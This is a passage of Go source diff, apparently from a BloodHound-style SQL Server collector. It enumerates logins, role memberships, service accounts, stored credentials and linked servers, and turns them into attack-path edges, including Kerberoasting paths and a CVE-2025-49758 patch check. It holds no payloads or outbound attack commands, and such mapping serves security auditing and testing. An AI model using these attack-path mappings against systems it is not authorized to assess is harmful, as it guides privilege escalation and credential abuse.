PowerShell behavior. + // LocalGroupsWithLogins contains groups collected via WMI/net localgroup enumeration. + if serverInfo.LocalGroupsWithLogins != nil { + for _, groupInfo := range serverInfo.LocalGroupsWithLogins { + if groupInfo.Principal == nil || groupInfo.Principal.SecurityIdentifier == "" { + continue + } + + principal := groupInfo.Principal + + // Track non-BUILTIN SIDs separately (machine-local groups) + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") { + principalsWithLogin[principal.SecurityIdentifier] = true + } + + // ObjectID format: {serverFQDN}-{SID} (machine-specific) + groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier + principalsWithLogin[groupObjectID] = true + + // MSSQL_HasLogin edge + edge := c.createEdge( + groupObjectID, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.HasLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: "Group", + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } else { + // Fallback: process local groups from ServerPrincipals if LocalGroupsWithLogins is not populated + // This handles both BUILTIN (S-1-5-32-*) and machine-local groups (S-1-5-21-* not matching domain SID) + for _, principal := range serverInfo.ServerPrincipals { + if principal.SecurityIdentifier == "" { + continue + } + + // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups + isLocalGroup := false + if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") { + isLocalGroup = true + } else if principal.TypeDescription == "WINDOWS_GROUP" && + strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") && + (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) { + isLocalGroup = true + } + if !isLocalGroup { + continue + } + + // Skip disabled logins + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + // Also check sysadmin/securityadmin membership + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // ObjectID format: {serverFQDN}-{SID} + groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier + + // Skip if already processed + if principalsWithLogin[groupObjectID] { + continue + } + principalsWithLogin[groupObjectID] = true + + // MSSQL_HasLogin edge + edge := c.createEdge( + groupObjectID, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.HasLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: "Group", + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // SERVICE ACCOUNT EDGES (including Kerberoasting edges) + // ========================================================================= + + // Track domain principals with admin privileges for GetAdminTGS + // Uses nested role/permission checks matching PowerShell's second pass (lines 7676-7712) + // Track four separate categories matching PS1's domainPrincipalsWith* arrays + var domainPrincipalsWithSysadmin []string + var domainPrincipalsWithSecurityadmin []string + var domainPrincipalsWithControlServer []string + var domainPrincipalsWithImpersonateAnyLogin []string + var enabledDomainLoginsWithConnectSQL []types.ServerPrincipal + isAnyDomainPrincipalSysadmin := false + + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + + // Skip non-domain SIDs + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") { + continue + } + + // Check each admin-level access category separately (matching PS1) + if c.hasNestedRoleMembership(principal, "sysadmin", serverInfo) { + domainPrincipalsWithSysadmin = append(domainPrincipalsWithSysadmin, principal.ObjectIdentifier) + isAnyDomainPrincipalSysadmin = true + } + if c.hasNestedRoleMembership(principal, "securityadmin", serverInfo) { + domainPrincipalsWithSecurityadmin = append(domainPrincipalsWithSecurityadmin, principal.ObjectIdentifier) + isAnyDomainPrincipalSysadmin = true + } + if c.hasEffectivePermission(principal, "CONTROL SERVER", serverInfo) { + domainPrincipalsWithControlServer = append(domainPrincipalsWithControlServer, principal.ObjectIdentifier) + isAnyDomainPrincipalSysadmin = true + } + if c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo) { + domainPrincipalsWithImpersonateAnyLogin = append(domainPrincipalsWithImpersonateAnyLogin, principal.ObjectIdentifier) + isAnyDomainPrincipalSysadmin = true + } + + // Track enabled domain logins with CONNECT SQL for GetTGS + if !principal.IsDisabled { + hasConnect := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnect = true + break + } + } + // Also check if member of sysadmin (implies CONNECT) + if !hasConnect { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnect = true + break + } + } + } + if hasConnect { + enabledDomainLoginsWithConnectSQL = append(enabledDomainLoginsWithConnectSQL, principal) + } + } + } + + // Create ServiceAccountFor and Kerberoasting edges from service accounts to the server + for _, sa := range serverInfo.ServiceAccounts { + if sa.ObjectIdentifier == "" && sa.SID == "" { + continue + } + + saID := sa.SID + if saID == "" { + saID = sa.ObjectIdentifier + } + + // Only create edges for domain accounts (skip NT AUTHORITY, LOCAL SERVICE, etc.) + // Domain accounts have SIDs starting with S-1-5-21- + isDomainAccount := strings.HasPrefix(saID, "S-1-5-21-") + + if !isDomainAccount { + continue + } + + // Check if the service account is the server's own computer account + // This is used to skip HasSession only - other edges still get created for computer accounts + // We check two conditions: + // 1. Name matches SAMAccountName format (HOSTNAME$) + // 2. SID matches the server's ComputerSID (for when name was converted to FQDN) + hostname := serverInfo.Hostname + if strings.Contains(hostname, ".") { + hostname = strings.Split(hostname, ".")[0] + } + isComputerAccountName := strings.EqualFold(sa.Name, hostname+"$") + isComputerAccountSID := serverInfo.ComputerSID != "" && saID == serverInfo.ComputerSID + + // Check if this service account was converted from a built-in account (LocalSystem, etc.) + // This is only used for HasSession - we skip that for computer accounts running as themselves + isConvertedFromBuiltIn := sa.ConvertedFromBuiltIn + + // ServiceAccountFor: Service Account (SID) -> SQL Server + // We create this edge for all resolved service accounts including computer accounts + edge := c.createEdge( + saID, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ServiceAccountFor, + &bloodhound.EdgeContext{ + SourceName: sa.Name, + SourceType: "Base", // Could be User or Computer + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // HasSession: Computer -> Service Account + // Skip for computer accounts (when service account IS the computer) + // Also skip for converted built-in accounts (which become the computer account) + // Check both name pattern (HOSTNAME$) and SID match + isBuiltInAccount := strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" || + sa.Name == "LocalSystem" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE" + + if serverInfo.ComputerSID != "" && !isBuiltInAccount && !isComputerAccountName && !isComputerAccountSID && !isConvertedFromBuiltIn { + edge := c.createEdge( + serverInfo.ComputerSID, + saID, + bloodhound.EdgeKinds.HasSession, + &bloodhound.EdgeContext{ + SourceName: serverInfo.Hostname, + SourceType: "Computer", + TargetName: sa.Name, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // GetAdminTGS: Service Account -> Server (if any domain principal has admin) + if isAnyDomainPrincipalSysadmin { + edge := c.createEdge( + saID, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.GetAdminTGS, + &bloodhound.EdgeContext{ + SourceName: sa.Name, + SourceType: "Base", + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if edge != nil { + // Filter domainPrincipalsWith* to only include enabled logins with CONNECT SQL + // matching PS1 lines 9869-9900 + enabledOIDs := make(map[string]bool) + for _, login := range enabledDomainLoginsWithConnectSQL { + enabledOIDs[login.ObjectIdentifier] = true + } + + filterEnabled := func(ids []string) []string { + var filtered []string + for _, id := range ids { + if enabledOIDs[id] { + filtered = append(filtered, id) + } + } + if filtered == nil { + filtered = []string{} + } + return filtered + } + + edge.Properties["domainPrincipalsWithControlServer"] = filterEnabled(domainPrincipalsWithControlServer) + edge.Properties["domainPrincipalsWithImpersonateAnyLogin"] = filterEnabled(domainPrincipalsWithImpersonateAnyLogin) + edge.Properties["domainPrincipalsWithSecurityadmin"] = filterEnabled(domainPrincipalsWithSecurityadmin) + edge.Properties["domainPrincipalsWithSysadmin"] = filterEnabled(domainPrincipalsWithSysadmin) + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // GetTGS: Service Account -> each enabled domain login with CONNECT SQL + for _, login := range enabledDomainLoginsWithConnectSQL { + edge := c.createEdge( + saID, + login.ObjectIdentifier, + bloodhound.EdgeKinds.GetTGS, + &bloodhound.EdgeContext{ + SourceName: sa.Name, + SourceType: "Base", + TargetName: login.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // CREDENTIAL EDGES + // ========================================================================= + + // Build credential lookup map for enriching edge properties with dates + credentialByID := make(map[int]*types.Credential) + for i := range serverInfo.Credentials { + credentialByID[serverInfo.Credentials[i].CredentialID] = &serverInfo.Credentials[i] + } + + // Create HasMappedCred edges from logins to their mapped credentials + for _, principal := range serverInfo.ServerPrincipals { + if principal.MappedCredential == nil { + continue + } + + cred := principal.MappedCredential + + // Only create edges for domain credentials with a resolved SID, + // matching PowerShell's IsDomainPrincipal && ResolvedSID check + if cred.ResolvedSID == "" { + continue + } + + targetID := cred.ResolvedSID + + // HasMappedCred: Login -> AD Principal (resolved SID or credential identity) + edge := c.createEdge( + principal.ObjectIdentifier, + targetID, + bloodhound.EdgeKinds.HasMappedCred, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.Login, + TargetName: cred.CredentialIdentity, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if edge != nil { + edge.Properties["credentialId"] = fmt.Sprintf("%d", cred.CredentialID) + edge.Properties["credentialIdentity"] = cred.CredentialIdentity + edge.Properties["credentialName"] = cred.Name + edge.Properties["resolvedSid"] = cred.ResolvedSID + // Get createDate/modifyDate from the standalone credentials list + if fullCred, ok := credentialByID[cred.CredentialID]; ok { + edge.Properties["createDate"] = fullCred.CreateDate.Format("1/2/2006 3:04:05 PM") + edge.Properties["modifyDate"] = fullCred.ModifyDate.Format("1/2/2006 3:04:05 PM") + } + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // ========================================================================= + // PROXY ACCOUNT EDGES + // ========================================================================= + + // Create HasProxyCred edges from logins authorized to use proxies + for _, proxy := range serverInfo.ProxyAccounts { + // Only create edges for domain credentials with a resolved SID, + // matching PowerShell's IsDomainPrincipal && ResolvedSID check + if proxy.ResolvedSID == "" { + continue + } + + // For each login authorized to use this proxy + for _, loginName := range proxy.Logins { + // Find the login's ObjectIdentifier + var loginObjectID string + for _, principal := range serverInfo.ServerPrincipals { + if principal.Name == loginName { + loginObjectID = principal.ObjectIdentifier + break + } + } + + if loginObjectID == "" { + continue + } + + proxyTargetID := proxy.ResolvedSID + + // HasProxyCred: Login -> AD Principal (resolved SID or credential identity) + edge := c.createEdge( + loginObjectID, + proxyTargetID, + bloodhound.EdgeKinds.HasProxyCred, + &bloodhound.EdgeContext{ + SourceName: loginName, + SourceType: bloodhound.NodeKinds.Login, + TargetName: proxy.CredentialIdentity, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + CredentialIdentity: proxy.CredentialIdentity, + IsEnabled: proxy.Enabled, + ProxyName: proxy.Name, + }, + ) + if edge != nil { + edge.Properties["authorizedPrincipals"] = strings.Join(proxy.Logins, ", ") + edge.Properties["credentialId"] = fmt.Sprintf("%d", proxy.CredentialID) + edge.Properties["credentialIdentity"] = proxy.CredentialIdentity + edge.Properties["credentialName"] = proxy.CredentialName + edge.Properties["description"] = proxy.Description + edge.Properties["isEnabled"] = proxy.Enabled + edge.Properties["proxyId"] = fmt.Sprintf("%d", proxy.ProxyID) + edge.Properties["proxyName"] = proxy.Name + edge.Properties["resolvedSid"] = proxy.ResolvedSID + edge.Properties["subsystems"] = strings.Join(proxy.Subsystems, ", ") + if proxy.ResolvedPrincipal != nil { + resolvedType := proxy.ResolvedPrincipal.ObjectClass + if len(resolvedType) > 0 { + resolvedType = strings.ToUpper(resolvedType[:1]) + resolvedType[1:] + } + edge.Properties["resolvedType"] = resolvedType + } + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // DATABASE-SCOPED CREDENTIAL EDGES + // ========================================================================= + + // Create HasDBScopedCred edges from databases to credential identities + for _, db := range serverInfo.Databases { + for _, cred := range db.DBScopedCredentials { + // Only create edges for domain credentials with a resolved SID, + // matching PowerShell's IsDomainPrincipal && ResolvedSID check + if cred.ResolvedSID == "" { + continue + } + + dbCredTargetID := cred.ResolvedSID + + // HasDBScopedCred: Database -> AD Principal (resolved SID or credential identity) + edge := c.createEdge( + db.ObjectIdentifier, + dbCredTargetID, + bloodhound.EdgeKinds.HasDBScopedCred, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: cred.CredentialIdentity, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + }, + ) + if edge != nil { + edge.Properties["credentialId"] = fmt.Sprintf("%d", cred.CredentialID) + edge.Properties["credentialIdentity"] = cred.CredentialIdentity + edge.Properties["credentialName"] = cred.Name + edge.Properties["createDate"] = cred.CreateDate.Format("1/2/2006 3:04:05 PM") + edge.Properties["database"] = db.Name + edge.Properties["modifyDate"] = cred.ModifyDate.Format("1/2/2006 3:04:05 PM") + edge.Properties["resolvedSid"] = cred.ResolvedSID + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + return nil +} + +// hasNestedRoleMembership checks if a server principal is a member of a target role, +// including through nested role membership chains (DFS traversal). +// This matches PowerShell's Get-NestedRoleMembership function. +func (c *Collector) hasNestedRoleMembership(principal types.ServerPrincipal, targetRoleName string, serverInfo *types.ServerInfo) bool { + visited := make(map[string]bool) + return c.hasNestedRoleMembershipDFS(principal.MemberOf, targetRoleName, serverInfo, visited) +} + +func (c *Collector) hasNestedRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, serverInfo *types.ServerInfo, visited map[string]bool) bool { + for _, role := range memberOf { + roleName := role.Name + if roleName == "" { + // Try to extract from ObjectIdentifier (format: "rolename@server") + parts := strings.SplitN(role.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + roleName = parts[0] + } + } + + if visited[roleName] { + continue + } + visited[roleName] = true + + if roleName == targetRoleName { + return true + } + + // Look up the role in server principals and recurse + for _, sp := range serverInfo.ServerPrincipals { + if sp.Name == roleName && sp.TypeDescription == "SERVER_ROLE" { + if c.hasNestedRoleMembershipDFS(sp.MemberOf, targetRoleName, serverInfo, visited) { + return true + } + break + } + } + } + return false +} + +// fixedServerRolePermissions maps fixed server roles to their implied permissions, +// matching PowerShell's $fixedServerRolePermissions. These are permissions that +// are not explicitly granted in sys.server_permissions but are inherent to the role. +var fixedServerRolePermissions = map[string][]string{ + // sysadmin implicitly has all permissions; CONTROL SERVER is the effective grant + "sysadmin": {"CONTROL SERVER"}, + // securityadmin can manage logins + "securityadmin": {"ALTER ANY LOGIN"}, +} + +// hasEffectivePermission checks if a server principal has a permission, either directly, +// inherited through role membership chains (BFS traversal), or implied by fixed role +// membership (e.g., sysadmin implies CONTROL SERVER). +// This matches PowerShell's Get-EffectivePermissions function combined with +// $fixedServerRolePermissions logic. +func (c *Collector) hasEffectivePermission(principal types.ServerPrincipal, targetPermission string, serverInfo *types.ServerInfo) bool { + // First check direct permissions (skip DENY) + for _, perm := range principal.Permissions { + if perm.Permission == targetPermission && perm.State != "DENY" { + return true + } + } + + // BFS through role membership + checked := make(map[string]bool) + queue := []string{} + + // Seed the queue with direct role memberships + for _, role := range principal.MemberOf { + roleName := role.Name + if roleName == "" { + parts := strings.SplitN(role.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + roleName = parts[0] + } + } + queue = append(queue, roleName) + } + + for len(queue) > 0 { + currentRoleName := queue[0] + queue = queue[1:] + + if checked[currentRoleName] || currentRoleName == "public" { + continue + } + checked[currentRoleName] = true + + // Check fixed role implied permissions (e.g., sysadmin -> CONTROL SERVER) + if impliedPerms, ok := fixedServerRolePermissions[currentRoleName]; ok { + for _, impliedPerm := range impliedPerms { + if impliedPerm == targetPermission { + return true + } + } + } + + // Find the role in server principals + for _, sp := range serverInfo.ServerPrincipals { + if sp.Name == currentRoleName && sp.TypeDescription == "SERVER_ROLE" { + // Check this role's permissions + for _, perm := range sp.Permissions { + if perm.Permission == targetPermission { + return true + } + } + // Add nested roles to queue + for _, nestedRole := range sp.MemberOf { + nestedName := nestedRole.Name + if nestedName == "" { + parts := strings.SplitN(nestedRole.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + nestedName = parts[0] + } + } + queue = append(queue, nestedName) + } + break + } + } + } + + return false +} + +// hasNestedDBRoleMembership checks if a database principal is a member of a target role, +// including through nested role membership chains (DFS traversal). +func (c *Collector) hasNestedDBRoleMembership(principal types.DatabasePrincipal, targetRoleName string, db *types.Database) bool { + visited := make(map[string]bool) + return c.hasNestedDBRoleMembershipDFS(principal.MemberOf, targetRoleName, db, visited) +} + +func (c *Collector) hasNestedDBRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, db *types.Database, visited map[string]bool) bool { + for _, role := range memberOf { + roleName := role.Name + if roleName == "" { + parts := strings.SplitN(role.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + roleName = parts[0] + } + } + + key := db.Name + "::" + roleName + if visited[key] { + continue + } + visited[key] = true + + if roleName == targetRoleName { + return true + } + + // Look up the role in database principals and recurse + for _, dp := range db.DatabasePrincipals { + if dp.Name == roleName && dp.TypeDescription == "DATABASE_ROLE" { + if c.hasNestedDBRoleMembershipDFS(dp.MemberOf, targetRoleName, db, visited) { + return true + } + break + } + } + } + return false +} + +// hasSecurityadminRole checks if a principal is a member of the securityadmin role (including nested) +func (c *Collector) hasSecurityadminRole(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool { + return c.hasNestedRoleMembership(principal, "securityadmin", serverInfo) +} + +// hasImpersonateAnyLogin checks if a principal has IMPERSONATE ANY LOGIN permission (including inherited) +func (c *Collector) hasImpersonateAnyLogin(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool { + return c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo) +} + +// shouldCreateChangePasswordEdge determines if a ChangePassword edge should be created for a target SQL login +// based on CVE-2025-49758 patch status. If the server is patched, the edge is only created if the target +// does NOT have securityadmin role or IMPERSONATE ANY LOGIN permission. +func (c *Collector) shouldCreateChangePasswordEdge(serverInfo *types.ServerInfo, targetPrincipal types.ServerPrincipal) bool { + // Check if server is patched for CVE-2025-49758 + if IsPatchedForCVE202549758(serverInfo.VersionNumber, serverInfo.Version) { + // Patched - check if target has securityadmin or IMPERSONATE ANY LOGIN + // If target has either, the patch prevents changing their password without current password + if c.hasSecurityadminRole(targetPrincipal, serverInfo) || c.hasImpersonateAnyLogin(targetPrincipal, serverInfo) { + // Track this skipped edge for grouped reporting (using map to deduplicate) + c.skippedChangePasswordMu.Lock() + if c.skippedChangePasswordEdges == nil { + c.skippedChangePasswordEdges = make(map[string]bool) + } + c.skippedChangePasswordEdges[targetPrincipal.Name] = true + c.skippedChangePasswordMu.Unlock() + return false + } + } + // Unpatched or target doesn't have protected permissions - create the edge + return true +} + +// logCVE202549758Status logs the CVE-2025-49758 vulnerability status for a server +func (c *Collector) logCVE202549758Status(serverInfo *types.ServerInfo) { + if serverInfo.VersionNumber == "" && serverInfo.Version == "" { + c.logVerbose("Skipping CVE-2025-49758 patch status check - server version unknown") + return + } + + c.logVerbose("Checking for CVE-2025-49758 patch status...") + result := CheckCVE202549758(serverInfo.VersionNumber, serverInfo.Version) + if result == nil { + c.logVerbose("Unable to parse SQL version for CVE-2025-49758 check") + return + } + + fmt.Printf("Detected SQL version: %s\n", result.VersionDetected) + if result.IsVulnerable { + fmt.Printf("CVE-2025-49758: VULNERABLE (version %s, requires %s)\n", result.VersionDetected, result.RequiredVersion) + } else if result.IsPatched { + c.logVerbose("CVE-2025-49758: NOT vulnerable (version %s)\n", result.VersionDetected) + } +} + +// processLinkedServers resolves linked server ObjectIdentifiers and queues them for collection if enabled +func (c *Collector) processLinkedServers(serverInfo *types.ServerInfo, server *ServerToProcess) { + if len(serverInfo.LinkedServers) == 0 { + return + } + + // Only do expensive DNS/LDAP resolution if collecting from linked servers + if !c.config.CollectFromLinkedServers { + // When not collecting, just set basic ObjectIdentifiers for edge generation + for i := range serverInfo.LinkedServers { + ls := &serverInfo.LinkedServers[i] + targetHost := ls.DataSource + if targetHost == "" { + targetHost = ls.Name + } + hostname, port, instanceName := c.parseDataSource(targetHost) + + // Extract domain from source server + sourceDomain := "" + if strings.Contains(serverInfo.Hostname, ".") { + parts := strings.SplitN(serverInfo.Hostname, ".", 2) + if len(parts) > 1 { + sourceDomain = parts[1] + } + } + + // Resolve ObjectIdentifier (needed for edge generation) + resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain) + ls.ResolvedObjectIdentifier = resolvedID + } + return + } + + // Full processing when collecting from linked servers (includes DNS lookups for queueing) + for i := range serverInfo.LinkedServers { + ls := &serverInfo.LinkedServers[i] + + // Resolve the target server hostname + targetHost := ls.DataSource + if targetHost == "" { + targetHost = ls.Name + } + + // Parse hostname, port, and instance from DataSource + // Formats: hostname, hostname:port, hostname\instance, hostname,port + hostname, port, instanceName := c.parseDataSource(targetHost) + + // Strip instance name if present for FQDN resolution + resolvedHost := hostname + + // If hostname is an IP address, try to resolve to hostname + if net.ParseIP(hostname) != nil { + if names, err := net.LookupAddr(hostname); err == nil && len(names) > 0 { + // Use the first resolved name, strip trailing dot + resolvedHostFromIP := strings.TrimSuffix(names[0], ".") + // Extract just hostname part for SID resolution + if strings.Contains(resolvedHostFromIP, ".") { + hostname = strings.Split(resolvedHostFromIP, ".")[0] + } else { + hostname = resolvedHostFromIP + } + } + } + + // Try to resolve FQDN if not already one + if !strings.Contains(resolvedHost, ".") { + // Try DNS resolution + if addrs, err := net.LookupHost(resolvedHost); err == nil && len(addrs) > 0 { + if names, err := net.LookupAddr(addrs[0]); err == nil && len(names) > 0 { + resolvedHost = strings.TrimSuffix(names[0], ".") + } + } + } + + // Extract domain from source server for linked server lookups + sourceDomain := "" + if strings.Contains(serverInfo.Hostname, ".") { + parts := strings.SplitN(serverInfo.Hostname, ".", 2) + if len(parts) > 1 { + sourceDomain = parts[1] + } + } + + // Resolve the linked server's ResolvedObjectIdentifier (SID:port format) + resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain) + ls.ResolvedObjectIdentifier = resolvedID + + // Check if already in queue + isAlreadyQueued := false + for _, existing := range c.serversToProcess { + if strings.EqualFold(existing.Hostname, resolvedHost) || + strings.EqualFold(existing.Hostname, hostname) { + isAlreadyQueued = true + break + } + } + + // Add to queue if not already there + if !isAlreadyQueued { + c.addLinkedServerToQueue(resolvedHost, serverInfo.Hostname, sourceDomain) + } + } +} + +// parseDataSource parses a SQL Server data source string into hostname, port, and instance name +// Supports formats: hostname, hostname:port, hostname\instance, hostname,port, hostname\instance,port +func (c *Collector) parseDataSource(dataSource string) (hostname, port, instanceName string) { + // Default port + port = "1433" + hostname = dataSource + + // Check for instance name (backslash) + if idx := strings.Index(dataSource, "\\"); idx != -1 { + hostname = dataSource[:idx] + remaining := dataSource[idx+1:] + + // Check if there's a port after the instance + if commaIdx := strings.Index(remaining, ","); commaIdx != -1 { + instanceName = remaining[:commaIdx] + port = remaining[commaIdx+1:] + } else if colonIdx := strings.Index(remaining, ":"); colonIdx != -1 { + instanceName = remaining[:colonIdx] + port = remaining[colonIdx+1:] + } else { + instanceName = remaining + } + return + } + + // Check for port (comma or colon without backslash) + if commaIdx := strings.Index(dataSource, ","); commaIdx != -1 { + hostname = dataSource[:commaIdx] + port = dataSource[commaIdx+1:] + return + } + + // Also support colon for port (common in JDBC-style connections) + if colonIdx := strings.LastIndex(dataSource, ":"); colonIdx != -1 { + // Make sure it's not a drive letter (e.g., C:\...) + if colonIdx > 1 { + hostname = dataSource[:colonIdx] + port = dataSource[colonIdx+1:] + } + } + + return +} + +// resolveLinkedServerSourceID resolves the source server ObjectIdentifier for a chained linked server. +// When a linked server's SourceServer differs from the current server's hostname, this resolves +// the source to a SID:port format. Falls back to "LinkedServer:hostname" if resolution fails. +// This matches PowerShell's Resolve-DataSourceToSid behavior for linked server source resolution. +func (c *Collector) resolveLinkedServerSourceID(sourceServer string, serverInfo *types.ServerInfo) string { + hostname, port, instanceName := c.parseDataSource(sourceServer) + + // Extract domain from current server for resolution + sourceDomain := "" + if strings.Contains(serverInfo.Hostname, ".") { + parts := strings.SplitN(serverInfo.Hostname, ".", 2) + if len(parts) > 1 { + sourceDomain = parts[1] + } + } + + resolved := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain) + + // Check if resolution succeeded (starts with S-1-5- means SID was resolved) + if strings.HasPrefix(resolved, "S-1-5-") { + return resolved + } + + // Fallback to LinkedServer:hostname format (matching PowerShell behavior) + return "LinkedServer:" + sourceServer +} + +// resolveDataSourceToSID resolves a data source to SID:port format for linked server edges +// Returns SID:port if the hostname can be resolved, otherwise returns hostname:port +func (c *Collector) resolveDataSourceToSID(hostname, port, instanceName, domain string) string { + // For cloud SQL servers (Azure, AWS RDS, etc.), use hostname:port format + if strings.Contains(hostname, ".database.windows.net") || + strings.Contains(hostname, ".rds.amazonaws.com") || + strings.Contains(hostname, ".database.azure.com") { + if instanceName != "" { + return fmt.Sprintf("%s:%s", hostname, instanceName) + } + return fmt.Sprintf("%s:%s", hostname, port) + } + + // Try to resolve the computer SID + machineName := hostname + if strings.Contains(machineName, ".") { + machineName = strings.Split(machineName, ".")[0] + } + + // Try Windows API first + sid, err := ad.ResolveComputerSIDWindows(machineName, domain) + if err == nil && sid != "" { + if instanceName != "" { + return fmt.Sprintf("%s:%s", sid, instanceName) + } + return fmt.Sprintf("%s:%s", sid, port) + } + + // Try LDAP if domain is specified and Windows API failed + if domain != "" { + adClient := c.newADClient(domain) + if adClient != nil { + defer adClient.Close() + + sid, err = adClient.ResolveComputerSID(machineName) + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + } else if err == nil && sid != "" { + if instanceName != "" { + return fmt.Sprintf("%s:%s", sid, instanceName) + } + return fmt.Sprintf("%s:%s", sid, port) + } + } + } + + // Fallback to hostname:port if SID resolution fails + if instanceName != "" { + return fmt.Sprintf("%s:%s", hostname, instanceName) + } + return fmt.Sprintf("%s:%s", hostname, port) +} + +// addLinkedServerToQueue adds a discovered linked server to the queue for later processing +func (c *Collector) addLinkedServerToQueue(hostname string, discoveredFrom string, domain string) { + c.linkedServersMu.Lock() + defer c.linkedServersMu.Unlock() + + // Check for duplicates + for _, ls := range c.linkedServersToProcess { + if strings.EqualFold(ls.Hostname, hostname) { + return + } + } + + server := c.parseServerString(hostname) + server.DiscoveredFrom = discoveredFrom + server.Domain = domain + c.tryResolveSID(server) + c.linkedServersToProcess = append(c.linkedServersToProcess, server) +} + +// processLinkedServersQueue processes discovered linked servers recursively +func (c *Collector) processLinkedServersQueue(processedServers map[string]bool) { + iteration := 0 + for { + // Get current batch of linked servers to process + c.linkedServersMu.Lock() + if len(c.linkedServersToProcess) == 0 { + c.linkedServersMu.Unlock() + break + } + + // Take the current batch and reset + currentBatch := c.linkedServersToProcess + c.linkedServersToProcess = nil + c.linkedServersMu.Unlock() + + // Filter out already processed servers + var serversToProcess []*ServerToProcess + for _, server := range currentBatch { + key := strings.ToLower(server.Hostname) + if !processedServers[key] { + serversToProcess = append(serversToProcess, server) + processedServers[key] = true + } else { + c.logVerbose("Skipping already processed linked server: %s", server.Hostname) + } + } + + if len(serversToProcess) == 0 { + continue + } + + iteration++ + fmt.Printf("\n=== Processing %d linked server(s) (iteration %d) ===\n", len(serversToProcess), iteration) + + // Process this batch + for i, server := range serversToProcess { + discoveredInfo := "" + if server.DiscoveredFrom != "" { + discoveredInfo = fmt.Sprintf(" (discovered from %s)", server.DiscoveredFrom) + } + fmt.Printf("\n[Linked %d/%d] Processing %s%s...\n", i+1, len(serversToProcess), server.ConnectionString, discoveredInfo) + + if err := c.processServer(server); err != nil { + fmt.Printf("Warning: failed to process linked server %s: %v\n", server.ConnectionString, err) + // Continue with other servers + } + } + } +} + +// createFixedRoleEdges creates edges for fixed server and database role capabilities +func (c *Collector) 